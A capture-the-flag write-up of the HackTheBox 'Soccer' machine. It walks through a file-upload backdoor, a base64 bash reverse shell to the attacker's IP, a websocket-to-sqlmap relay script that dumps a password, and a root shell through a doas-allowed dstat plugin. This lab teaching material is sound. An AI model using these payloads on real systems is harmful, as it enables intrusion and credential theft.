Post

Soccer - HackTheBox

INTRODUCTION

Soccer is a nice box on HackTheBox created by sau123.

Foothold on this box is achieved by a RCE.

Then a blind SQL injection gets us user access.

Finally, we get root by exploiting the user’s privileged rights.

SCANNING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/soccer]
└─$ rustscan -a 10.10.11.194 -r 1-65535 --ulimit 5000                           
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/n3hal/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.194:22
Open 10.10.11.194:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-29 01:40 EST
Initiating Ping Scan at 01:40
Scanning 10.10.11.194 [2 ports]
Completed Ping Scan at 01:40, 0.25s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:40
Completed Parallel DNS resolution of 1 host. at 01:40, 5.56s elapsed
DNS resolution of 1 IPs took 5.56s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating Connect Scan at 01:40
Scanning 10.10.11.194 [2 ports]
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 22/tcp on 10.10.11.194
Completed Connect Scan at 01:40, 0.25s elapsed (2 total ports)
Nmap scan report for 10.10.11.194
Host is up, received syn-ack (0.25s latency).
Scanned at 2022-12-29 01:40:16 EST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.19 seconds

We can see rustscan found ports 22 and 80 to be open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/soccer]
└─$ nmap -sC -sV -p- -T4 10.10.11.194                     
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-29 01:41 EST
Nmap scan report for 10.10.11.194
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Thu, 29 Dec 2022 07:00:37 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Thu, 29 Dec 2022 07:00:37 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Thu, 29 Dec 2022 07:00:38 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.92%I=7%D=12/29%Time=63AD3B04%P=x86_64-pc-linux-gnu%r(i
SF:nformix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\
SF:x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC
SF:ontent-Length:\x20139\r\nDate:\x20Thu,\x2029\x20Dec\x202022\x2007:00:37
SF:\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan
SF:g=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n<
SF:/head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(H
SF:TTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Po
SF:licy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143
SF:\r\nDate:\x20Thu,\x2029\x20Dec\x202022\x2007:00:37\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<m
SF:eta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>
SF:Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"H
SF:TTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-
SF:src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x2
SF:0text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Thu,
SF:\x2029\x20Dec\x202022\x2007:00:38\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"
SF:utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS
SF:\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2
SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")
SF:%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1156.49 seconds

But nmap found port 9091 to be open, apart from 22 and 80.

One lesson here, always verify output of one tool using another tool.

SSH service is running on port 22, HTTP service in ports 80 and 9091.

We also can see a domain name soccer.htb. Let us add this in the /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/soccer]
└─$ nmap -sC -sV -p80 soccer.htb 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-29 02:18 EST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds

We have nginx 1.18.0 running on port 80.

ENUMERATING WEB

We can see a static site running on port 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/soccer]
└─$ dirsearch -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt -t 50

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 20469

Output File: /home/n3hal/.dirsearch/reports/soccer.htb/-_22-12-29_02-23-34.txt

Error Log: /home/n3hal/.dirsearch/logs/errors-22-12-29_02-23-34.log

Target: http://soccer.htb/

[02:23:35] Starting: 
[02:27:18] 301 -  178B  - /tiny  ->  http://soccer.htb/tiny/

Task Completed

dirsearch finds a directory /tiny on the application.

Tiny File Manager is running on /tiny directory of the web application.

Googling a bit, we will come to know that the default credentials for this application in admin:admin@123.

With the credentials we are able to log in.

From the navbar above, we can see that we can upload file.

But while creating a file in the website root, we get the error message:

1
2
3
Cannot open file: shell.php

This is probably due to the permission issues.

But we can definitely create files in /tiny/uploads/ directory.

In this case, I have created a simple PHP backdoor.

The backdoor can be triggered as:

1
2
3
http://soccer.htb/tiny/uploads/curiosity.php?cmd=id

We achieved RCE through file upload vulnerability.

SHELL AS WWW-DATA

We can use simple bash reverse shell.

1
2
3
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MC80NDMgMD4mMQo= | base64 -d | bash

URL encoding the payload so that dangerous characters does not create a problem:

1
2
3
%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%31%4d%43%38%30%4e%44%4d%67%4d%44%34%6d%4d%51%6f%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68

URL:

1
2
3
http://soccer.htb/tiny/uploads/curiosity.php?cmd=%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%31%4d%43%38%30%4e%44%4d%67%4d%44%34%6d%4d%51%6f%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/soccer]
└─$ nc -nlp 443
bash: cannot set terminal process group (1041): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.0$ whoami
whoami
www-data
bash-5.0$ 

ENUMERATING THE BOX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-5.0$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1106/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1106/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                  

We can see MySQL is running internally as port 3306 is open and an unknown service on localhost port 3000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bash-5.0$ ls -al /etc/nginx/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Dec  1 13:48 .
drwxr-xr-x 8 root root 4096 Nov 17 08:06 ..
lrwxrwxrwx 1 root root   34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root   41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
bash-5.0$ cat /etc/nginx/sites-enabled/soc-player.htb 
server {
	listen 80;
	listen [::]:80;

	server_name soc-player.soccer.htb;

	root /root/app/views;

	location / {
		proxy_pass http://localhost:3000;
		proxy_http_version 1.1;
		proxy_set_header Upgrade $http_upgrade;
		proxy_set_header Connection 'upgrade';
		proxy_set_header Host $host;
		proxy_cache_bypass $http_upgrade;
	}

}

Looking at the nginx configuration directory, we can see two conf files in site-enabled section.

The soc-player.htb configuration file reveals a subdomain soc-player.soccer.htb which is basically the web appplication on localhost port 3000.

Let us add that to the /etc/hosts.

BACK TO WEB ENUMERATION

Visiting the http://soc-player.soccer.htb/ website, we can see the below page:

Well, we can see the old template with few features here: login, signup and other things.

Now that we have login features, having MySQL running internally creates a sense.

Let us create a dummy account: test@curiosity.hacks : test.

We can see a ticket ID and a text box which seems doing nothing.

Let us check that in burpsuite.

The input box is not at all worthless, the value in that box is passed as websocket message to ws://soc-player.soccer.htb:9091.

For a valid ticket, the server replies with Ticket Exists.

For an invalid ticket, the server replies with Ticket Doesn't Exist.

SQL INJECTION IN WEBSOCKET

Since there is MySQL is running and there is checking if a ticket is valid, the most obvious vulnerability in this case is a SQL injection.

We can see that the ticket does not exist for payload 69081 AND 1=2 -- - .

Again, we see that the ticket exists for payload 69081 AND 1=1 -- - .

In the first case, due to the AND 1=2 the whole query returns nothing and we see the error message Ticket Doesn't Exist.

In the second case, the AND 1=1 returns a valid ticket and we see Ticket Exists.

This confirms there is a blind SQL injection in the websocket.

EXPLOITING SQL INJECTION

Unfortunately, sqlmap does not have the support for testing websockets.

But we can definitely create a proxy HTTP service that redirects the message to the websocket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',1337))
except KeyboardInterrupt:
	pass

This script has been taken from here. Kudos to rayhan0x01 for his amazing explanation.

This script just creates a HTTP server and takes the value of id parameter in each request and passes it to given websocket as a message.

Now we can use sqlmap on this proxy, which is basically the same as running sqlmap on the websocket.

Running the proxy:

1
2
3
4
5
6
┌──(n3hal㉿Universe7)-[~/…/hackthebox/soccer/web/exploits]
└─$ python middleware.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:1337/?id=*

Running sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(n3hal㉿Universe7)-[~/…/hackthebox/soccer/web/exploits]
└─$ sqlmap -u "http://localhost:1337/?id=1" --dbms mysql --batch  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.8#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:31:16 /2022-12-29/

[04:31:18] [INFO] testing connection to the target URL
[04:31:19] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.8')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6779 FROM (SELECT(SLEEP(5)))zdVp)
---
[04:31:19] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[04:31:54] [INFO] confirming MySQL
[04:31:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[04:32:06] [INFO] adjusting time delay to 2 seconds due to good response times
[04:32:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[04:32:06] [INFO] fetched data logged to text files under '/home/n3hal/.local/share/sqlmap/output/localhost'

[*] ending @ 04:32:06 /2022-12-29/

sqlmap detects the time-based blind injection.

After tinkering with the SQLi, you will know that there is a soccer_db database with a table called accounts having a column called password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(n3hal㉿Universe7)-[~/…/hackthebox/soccer/web/exploits]
└─$ sqlmap -u "http://localhost:1337/?id=1" -D soccer_db -T accounts -C password --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:34:57 /2022-12-29/

[04:34:57] [INFO] resuming back-end DBMS 'mysql' 
[04:34:57] [INFO] testing connection to the target URL
[04:34:59] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.8')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6779 FROM (SELECT(SLEEP(5)))zdVp)
---
[04:34:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[04:34:59] [INFO] fetching entries of column(s) 'password' for table 'accounts' in database 'soccer_db'
[04:34:59] [INFO] fetching number of column(s) 'password' entries for table 'accounts' in database 'soccer_db'
[04:34:59] [INFO] resumed: 1
[04:34:59] [INFO] resumed: PlayerOftheMatch2022
Database: soccer_db
Table: accounts
[1 entry]
+----------------------+
| password             |
+----------------------+
| PlayerOftheMatch2022 |
+----------------------+

[04:34:59] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/n3hal/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'
[04:34:59] [INFO] fetched data logged to text files under '/home/n3hal/.local/share/sqlmap/output/localhost'

[*] ending @ 04:34:59 /2022-12-29/

We have dumped a password: PlayerOftheMatch2022.

SHELL AS PLAYER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bash-5.0$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false

The user in this box is: player.

We can use the same dumped password to log into player’s account.

1
2
3
4
5
6
7
8
9
10
bash-5.0$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.0$ 
bash-5.0$ su - player
Password: 
-bash-5.0$ 
-bash-5.0$ id
uid=1001(player) gid=1001(player) groups=1001(player)

PRIVILEGE ESCALATION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-bash-5.0$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/bash
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign

Looking for SUID files we can see that the doas is present in this box.

1
2
3
4
5
6
7
8
9
-bash-5.0$ find / -name doas* 2>/dev/null
/usr/local/share/man/man5/doas.conf.5
/usr/local/share/man/man1/doas.1
/usr/local/share/man/man8/doasedit.8
/usr/local/bin/doasedit
/usr/local/bin/doas
/usr/local/etc/doas.conf

The conf file of doas is at: /usr/local/etc/doas.conf.

1
2
3
4
-bash-5.0$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

We can see that the user player can run /usr/bin/dstat as root without password using doas.

dstat is a versatile tool for generating system resource statistics.

It allows users to create a custom plugin and execute by adding option e.g. dstat --myplugin.

Learn more about it here.

First, we need to find where we can create our plugin.

1
2
3
4
5
6
-bash-5.0$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat

The plugins can be created in /usr/local/share/dstat directory.

1
2
3
4
5
6
7
8
9
10
11
12
-bash-5.0$ pwd
/usr/local/share/dstat
-bash-5.0$ 
-bash-5.0$ ls
dstat_curiosity.py
-bash-5.0$ 
-bash-5.0$ cat dstat_curiosity.py 
import os

os.system("/bin/bash")

A file dstat_curiosity.py is created at /usr/local/share/dstat. The name of the file must be dstat_<name>.py to be a valid plugin.

The file just runs /bin/bash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-bash-5.0$ doas -u root /usr/bin/dstat --list
internal:
	aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,swap,swap-old,sys,tcp,time,
	udp,unix,vm,vm-adv,zones
/usr/share/dstat:
	battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,fuse,
	gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,
	mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,
	nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,
	thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,
	vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
/usr/local/share/dstat:
	curiosity

We can see that the plugin has been loaded.

1
2
3
4
5
6
7
8
9
10
11
12
13
-bash-5.0$ doas -u root /usr/bin/dstat --curiosity
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/usr/local/share/dstat# 
root@soccer:/usr/local/share/dstat# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
root@soccer:/usr/local/share/dstat# 
root@soccer:/usr/local/share/dstat# hostname
soccer
root@soccer:/usr/local/share/dstat# 

We can simply run the plugin as dstat --<plugin name>.

Running the plugin with doas gives us root shell.

CONCLUSION

The box is all about exploiting a file upload to RCE vulnerability in Tiny File Manager, then exploiting a blind SQL injection through web sockets and privilege escalation by exploiting doas rights of a user.

Overall the box is easy yet lengthy.

The intial file upload to RCE issue is quite obvious.

The main takeaway from this box can be about how to exploit server side vulnerabilites like SQLi in websockets, as this is something which is not commonly seen in CTFs.

The privilege escalation part is just a simple googling stuff.

This is all in this box.

Thanks for reading this far.

Hope you liked it.

This post is licensed under CC BY 4.0 by the author.